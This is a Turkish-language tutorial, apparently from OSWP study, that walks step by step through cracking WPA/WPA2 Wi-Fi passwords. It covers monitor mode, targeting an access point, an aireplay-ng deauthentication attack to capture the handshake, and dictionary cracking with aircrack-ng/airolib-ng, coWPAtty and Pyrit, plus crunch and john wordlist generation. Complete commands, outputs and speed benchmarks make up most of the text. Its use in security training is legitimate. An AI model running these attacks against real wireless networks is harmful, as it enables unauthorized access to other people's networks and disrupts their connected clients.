ADIM ADIM WPA/WPA2 HIZLI KIRMA

1. HAZIRLIK

Öncelikle WPA/WPA2 nedir, nasıl protokollerdir [1] bu yazının konusu değil. Yazıda WPA/WPA2 şifresinin nasıl kırılabileceğini, kırma işlemini nasıl hızlandırabileceğinizi ve yapmış olduğum bir test için benchmark değerlerini anlatıyor olacağım.

- ✓ Testlerde Kali/Backtrack ile gelen rockyou.txt wordlist kullanılmıştır.
- ✓ Deauthentication atağı yapmamız gerekiyor. Bu atak başarı olunca elimizde WPA handshake oluyor.
- ✓ Komutlar: [2]
  - Komutlarda kullanılan opsiyonları ayrıntılı olarak anlatmayacağımdan dolayı ilgili komutun helpinden bakmanız gerekiyor. Sonra duruma göre komutu uyarlarsınız.
  - **Iwconfig** → wlan kartlarını kontrol et.
  - **airmon-ng start wlan0** → kartı dinleme moduna al.
  - **airodump-ng mon0** → Access pointleri ve clientları gerçek zamanlı listele

```
CH  6 ][ Elapsed: 8 s ][ 2014-10-23 18:25

BSSID          PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

20:76:00:CA:A7:XX  -127      0      1    0 138  -1   WPA          <length:  0>

1C:7E:E5:41:E5:XX  -30      6      0    0   3  54e. WEP  WEP       xxx

00:14:D1:E1:C7:XX  -39      6      0    0  11  54e  WEP  WEP       yyy

00:08:A1:CA:3E:XX  -68      5      1    0   6  54e  WPA2 CCMP   PSK  zzzz

84:1B:5E:E5:66:XX  -52      7      3    0   1  54e  WPA2 CCMP   PSK  tttt
```

  - **airodump-ng -c 6 --bssid 00:08:A1:CA:3E:XX -w zzzz mon0** → kanal 6 dan dinleme yapan zzzz ESSID li access pointe odaklan.

```
CH  6 ][ Elapsed: 1 min ][ 2014-10-23 18:34 ][

BSSID          PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:08:A1:CA:3E:XX  -127 35     354      30    0   6  54e  WPA2 CCMP   PSK  zzzz

BSSID          STATION          PWR   Rate    Lost    Frames  Probe

00:08:A1:CA:3E:XX  44:33:4C:74:30:XX  -34    1e- 1e     0      285
```

2. WPA KIRMA İŞLEMİ

- **aireplay-ng -0 1 -a 00:08:A1:CA:3E:XX -c 44:33:4C:74:30:XX -h 00:c0:ca:36:22:XX –e zzzz mon0** → deauthentication atağı yap ve WPA handshake değerini elde et.

  Not: Buradaki püf nokta şudur: WPA 4-way handshake paketlerini dinlediğinizde 4 adet EAPOL paketi görürsünüz. Bunlarda 1.ve 2. Veya 2.ve 3. Paketleri elde etmeniz PMK oluşturmak için yeterli olacaktır. Ayrıntılar için [3]

```
CH  6 ][ Elapsed: 1 min ][ 2014-10-23 18:34 ][ WPA handshake: 00:08:A1:CA:3E:XX

BSSID          PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:08:A1:CA:3E:XX  -127 35     378      50    0   6  54e  WPA2 CCMP   PSK  zzzz
```

```
BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:08:A1:CA:3E:XX  44:33:4C:74:30:XX  -34    1e- 1e     0       285
```

- Hemen kırmaya başlamıyoruz. Öncelikle airolib-ng kullanıyoruz.[4]

```
#: airolib-ng testlib --import essid essid.txt → zzzz yi içeren essid.txt yaratılıyor ve airolib-ng ye ekleniyor.
Database <testlib> does not already exist, creating it...
Database <testlib> successfully created
Reading file...
Writing...
Done.
#:~/OSWP/testap# time airolib-ng testlib --import passwd
/home/wisekhan/Mydata/tools/password_cracking/rockyou.txt → password dosyası ekleniyor.
Reading file...
Writing...ines read, 4734576 invalid lines ignored. → 4.7 milyon satır WPA kırmada kullanılmayacak. Çünkü WPA 8-63 yazdırılabilir (printable) karakter içermesi gerekiyor ve aynı zamanda varsa aynı şifreler de tekrar kullanılmıyor. Airolib bu analizi yaparak kendi database'ine gereksizleri almıyor. Eğer siz direkt olarak aircrack-ng kullanmış olsaydınız tek tek hepsini deniyecekti.
Done.

real  1m7.823s → yaklaşık 1 dakika içinde database'e koydu.
user 1m0.970s
sys   0m1.661s
#:~/OSWP/testap# airolib-ng testlib –stats → durum kontrol ediliyor
There are 1 ESSIDs and 9611374 passwords in the database. 0 out of 9611374 possible combinations have been computed (0%). -> herhangi bir PMK (Pairwise Master Key) hesaplanmadı henüz.

ESSID           Priority     Done
Zzzz            64           0.0

#:~/OSWP/testap# airolib-ng  testlib –batch → databasedeki passwordlerden PMK üret
Computed 75000 PMK in 278 seconds (269 PMK/s, 175000 in buffer).
Computed 100000 PMK in 370 seconds (270 PMK/s, 150000 in buffer).
Computed 1050000 PMK in 3934 seconds (266 PMK/s, 200000 in buffer).
Computed 1250000 PMK in 4671 seconds (267 PMK/s, 0 in buffer). r).
Computed 9611374 PMK in 36089 seconds (266 PMK/s, 0 in buffer).  → dikkat bu işlem zaten kırma işleminin ana ve yavaşlatan kısmı.
All ESSID processed.

                    Aircrack-ng 1.1
          [00:00:00] 11158 keys tested (48108.93 k/s) → Hız çok yükseldi. Eğer ESSID'si aynı olan bir access point bulursanız (çünkü PMK hesaplamasına ESSID de katılmakta) aynı PMK database'ini kullanabilirsiniz. Böylelikle bu hıza ulaşabilirsiniz. Aircrack ile sadece 1700 k/s yakalayabildim aynı makinada. Yani yaklaşık 25 katı. Daha da hızlancaz diğer metodlarla…
                KEY FOUND! [ Password123 ]
  Master Key     : 34 DE C9 C2 84 B3 95 F8 A8 11 88 C8 9F 27 EE E4
                   36 AC BA CD 5A 2D 61 98 E8 60 A7 1D 6F C9 EC 02

  Transient Key  : 9C 35 3C 10 65 B8 7D BD C1 F4 C2 CE 1F 0B 67 07
                   9A E7 92 29 9F D3 D2 71 7E 6A 3E 06 9B 8F B4 41
                   27 38 3A 7B 77 97 0C F9 5F CC 5A B6 D9 43 CE 67
                   68 5B D0 09 FC 25 26 A5 B1 AC C3 43 A5 CD B8 8A

  EAPOL HMAC     : 8F CE 62 C6 DA 23 00 E5 B8 D1 55 0E 62 A9 04 04

Quitting aircrack-ng...

#:~/OSWP/testap# ls -alh testlib
-rw-r--r-- 1 root root 1,2G Eyl 26 02:39 testlib → ve 1.2 GB datamız oldu. Eğer yeterli yerimiz olsa daha fazla PMK veritabanı tutarız. İnternette belirli ESSID ler için üretilmiş PMK veritabanları bulunuyor[9]
```

- ✓ coWPAtty ile WPA şifresi kırmak

```
#:~/OSWP/testap# time genpmk  -f /home/wisekhan/Mydata/tools/password_cracking/rockyou.txt -d
cowpattypmk -s testap → PMK oluşturmaya başla
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File cowpattypmk does not exist, creating.
key no. 1000: skittles1
key no. 2000: princess15
....

9612422 passphrases tested in 23169.71 seconds:  414.87 passphrases/second

real  386m9.813s
user 386m27.942s
sys   0m1.786s
#:~/OSWP/testap# cowpatty -d cowpattypmk -s testap -r deneme1-01.cap
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA/PSK passphrase.
Starting dictionary attack.  Please be patient.
key no. 10000: vincenzo

The PSK is "Password123".

11159 passphrases tested in 0.05 seconds:  223157.69 passphrases/second
```

✓ Pyrit ile şifre kırmak

```
#:~/OSWP/testap# pyrit  -e testap create_essid → essid veritabanı yarat. Burada birden çok essid ekleybilirsiniz ama
ona göre süre uzayacaktır.
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Created ESSID 'testap'

#:~/OSWP/testap# time pyrit -i /home/wisekhan/Mydata/tools/password_cracking/rockyou.txt import_passwords
→ şifreleri import et.
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
14344392 lines read. Flushing buffers.... ..
All done.

real  0m23.704s
user 0m23.070s
sys   0m0.466s

#:~/OSWP/testap# pyrit eval →durumu kontrol et
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Passwords available: 9609472

ESSID 'testap' : 0 (0.00%)



#:~/OSWP/testap# time pyrit batch → PMK oluşturmaya başla
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
```

```
Working on ESSID 'testap'
Processed 110/256 workunits so far (43.0%); 2528 PMKs per second.
Processed 111/256 workunits so far (43.4%); 2559 PMKs per second.

Processed 142/256 workunits so far (55.5%); 2741 PMKs per second.
Processed all workunits for ESSID 'testap'; 3250 PMKs per second..

Batchprocessing done.


#:~/OSWP/testap# pyrit -r deneme1-01.cap  attack_batch → oluşturulan PMK databaseini kullanarak atak yap
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Parsing file 'deneme1-01.cap' (1/1)...
Parsed 21 packets (21 802.11-packets), got 1 AP(s)

Picked AccessPoint c8:6c:87:6f:c2:94 ('testap') automatically.
Attacking handshake with station 00:0e:2e:f1:11:d3
Tried 4840743 PMKs so far (50.4%); 4688770 PMKs per second.d. → değeri görebiliyormusunuz!! Yani elimizde hazır
bir PMK database'i olursa ve şifre wordlistlerde geçiyorsa kırmak işten bile değil.

The password is 'Password123'.
```

- Pyritin kuvvetli olduğu nokta ise GPU ve CPU'yu paralel kullanması ve bütün coreları multi-threaded olarak kırma işlemine dahil edebilmesi. Benim ekran kartım uyumlu olmadığından testi sadece CPU üzerinde yaptım. Araştırmalarım sonucunda 1000$ civarında bir nvidia kart ile 2000 GPU core üzerinde kırma işleminizi yaptığınızı düşünün. İnternette bununla ilgili bazı çalışmalar var [6]

```
%Cpu0  : 99,7 us,  0,3 sy,  0,0 ni,  0,0 id,  0,0 wa,  0,0 hi,  0,0 si,  0,0 st
%Cpu1  : 97,0 us,  2,6 sy,  0,0 ni,  0,3 id,  0,0 wa,  0,0 hi,  0,0 si,  0,0 st
%Cpu2  : 97,0 us,  3,0 sy,  0,0 ni,  0,0 id,  0,0 wa,  0,0 hi,  0,0 si,  0,0 st
%Cpu3  : 98,3 us,  1,7 sy,  0,0 ni,  0,0 id,  0,0 wa,  0,0 hi,  0,0 si,  0,0 st
```

✓ Aicrack-ng ile SUPER-WPA sözlük [5] kullanarak

```
#:~/OSWP# aircrack-ng dump-02.cap  -w /home/wisekhan/Mydata/tools/password_cracking/dictionary/Super-WPA

            [151:05:25] 982963816 keys tested (1794.39 k/s) → Yaklaşık 1 milyar kelime , 6 gün sürdü ☺


                Current passphrase: zzbs3czwcmxkocpf


    Master Key     : 72 DA 58 16 E5 9B D4 3D 5E 1B F1 2B F3 33 EB DD
                     42 FD 3A 04 E4 2C 58 65 DC 7F 96 D0 88 AE 63 5C

    Transient Key  : C8 03 EB E5 AE 88 56 95 D6 23 18 1E 64 F7 BE 5B
                     D1 F7 C4 AE 57 E9 87 E5 D5 31 ED C5 D6 E2 E0 C5
                     99 B1 E6 35 11 6D AD 85 70 92 B9 F7 D9 78 FE 92
                     5C EA AC 4A 73 EB 90 49 62 DC E8 7F 2F 24 D7 1F

    EAPOL HMAC     : 0B E9 0A 0B 9E D3 BF B1 EF 6F 0F 65 BF 81 13 81

Passphrase not in dictionary → gerçek kırma denememiz başarısız oldu ☹
```

✓ Hızlı kırma metodlarının karşılaştırma tablosu: (diğer incelemeler için [8])

Method	PMK/s üretimi	Key/s	Rockyou.txt imported keys	Toplam zaman (saat)
Aircrack+Airolib	266	48108	9611374	10,0247222
coWPAtty+genpmk	414	223157	9612422	6,4358
Pyrit	3250	4688770	9609472	0,7

Aircrack	1794	1794	9598132	1,25

- Rockyou.txt dosyasında yaklaşık 14.5 milyon satır var ve bunların sadece 9.6 milyonu WPA kırmada kullanılıyor. 8-63 karakter ve non-printable karakterler içermeyecek şekilde eleme yapılıyor. Super-WPA wordlist'de yaklaşık 1 milyar☺
- Pyrit Aircracktan daha iyi bir performans gösteriyor PMK üretiminde. Lakin Key/s inanılmaz. Elimizde bizim essid'ye göre bir PMK database'i olması durumunda saniyede 4,6 milyon key deneyebileceğiz.
- İlginç bir nokta da her bir aracın geçerli olarak gösterdiği key sayısı farklı. Bunun neden farklı olduğunu anlamak için kaynak kodlara bakmak gerekir.

✓ Aircrack-ng'ye on-the-fly kelime üreterek

- Bazen WPA şifrelerini kırmaya çalıştığınızda bir wordlist vermek yerine on-the-fly dediğimiz bir şekilde kelime oluşturulduğu anda atakta kullanılabilir. Böylelikle terabytelarca wordlist oluşturmanız gerekmez. Örneğin eğer 8 karakterli sadece rakam içeren bir dosya oluşturmaya kalkarsanız yaklaşık 860 GB, 9 karakterli sayısal 9.5 GB, 10 karakterli sayısal ise 104 GB dosya oluşturmaktadır. Bir de bunlara 1-10 arası alphanumeric eklendiğinde yaklaşık 27 PetaByte dosya oluşturmanız gerekiyor. Tabi bir de bunu işlemeniz gerekiyor ☺

Edit john.conf and add wordlist rules to append $[0-9]$[0-9]$[0-9]
john --wordlist=/usr/share/john/password.lst --rules --stdout | airolib-ng testapwpa --import passwd → john defaulta verilen wordlistin sonuna bir adet rakam ekleyip gönderir. Biz 3 rakam eklesin istiyoruz. Bu sebepten john.conf'u düzenledik. John.conf'un lexical yapısı biraz garip olduğundan manuelinden öğrenmeniz gerekiyor.[7]
veya
crunch 8 8 1234567890 | aircrack-ng –bssid=<AP> -w - dump.cap → 8 haneli tüm sayıları dener. Genelde insanlar telefon numaralarını 8'e tamamlar ☺

✓ Kullandığım PC'nin özellikleri:

- CPU:İntel i5-3210 2.5 Ghz 2-core 2-multithread 3 mb cache
- Memory: 8 GB memory

3. KAYNAKLAR

[1] http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
[2] http://www.aircrack-ng.org/doku.php?id=cracking_wpa
[3] http://en.wikipedia.org/wiki/IEEE_802.11i-2004
[4] http://aircrack-ng.org/doku.php?id=airolib-ng
[5] http://thebootlegbay.com/torrent/7450220/Custom_SuperWPA_wordlists__optimized
[6] http://www.overclock.net/t/1256450/post-your-pyrit-benchmarks-here
[7] http://www.openwall.com/john/doc/RULES.shtml
[8] https://blog.g0tmi1k.com/2010/02/cracking-wifi-wpawpa2-aircrack-ng
[9] http://www.renderlab.net/projects/WPA-tables